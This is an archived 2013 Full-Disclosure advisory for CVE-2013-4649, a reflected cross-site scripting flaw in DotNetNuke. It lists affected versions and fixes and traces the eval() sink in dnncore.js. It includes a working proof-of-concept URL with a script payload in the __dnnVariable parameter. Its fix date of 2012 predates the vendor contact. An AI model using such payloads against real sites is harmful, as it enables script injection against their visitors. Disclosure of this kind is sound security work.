full-disclosure - DotNetNuke (DNN) Cross-Site Scripting Vulnerability !!!!

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20130902094138.242930@gmx.com>
Date: Mon, 02 Sep 2013 05:41:38 -0400
From: "Sajjad Pourali" <S.pourali@...l.com>
To: full-disclosure@...ts.grok.org.uk
Subject: DotNetNuke (DNN) Cross-Site Scripting
	Vulnerability !!!!

Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami
Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14
Solution: Update To (6.2.9/7.1.1)
Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium
Affected:
 - DNN 7.1.0 and earlier
 - DNN 6.2.8 and earlier
Not affected:
 - DNN 7.1.1
 - DNN 6.2.9
---
Trace vulnerable place:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} : 
...
<input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />
...
http://www.vulnerable.com/js/dnn.js : 
...
Type.registerNamespace("dnn");
...
http://www.vulnerable.com/js/dnncore.js : 
...
function __dnn_ClientAPIEnabled()
{
return typeof (dnn) != "undefined"
}
...
if (__dnn_ClientAPIEnabled())
{
var sLoadHandlers = dnn.getVar("__dnn_pageload");
if (sLoadHandlers != null)
{
eval(sLoadHandlers)
}
dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)
}
__dnn_m_bPageLoaded = true
}
...
---
PoC:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} 
---
 + Sajjad Pourali
 + http://www.securation.com/
 + http://www.cert.um.ac.ir/
 + Contact: sajjad[at]securation.com

Content of type "text/html" skipped

View attachment "CVE-2013-4649.txt" of type "text/plain" (1586 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/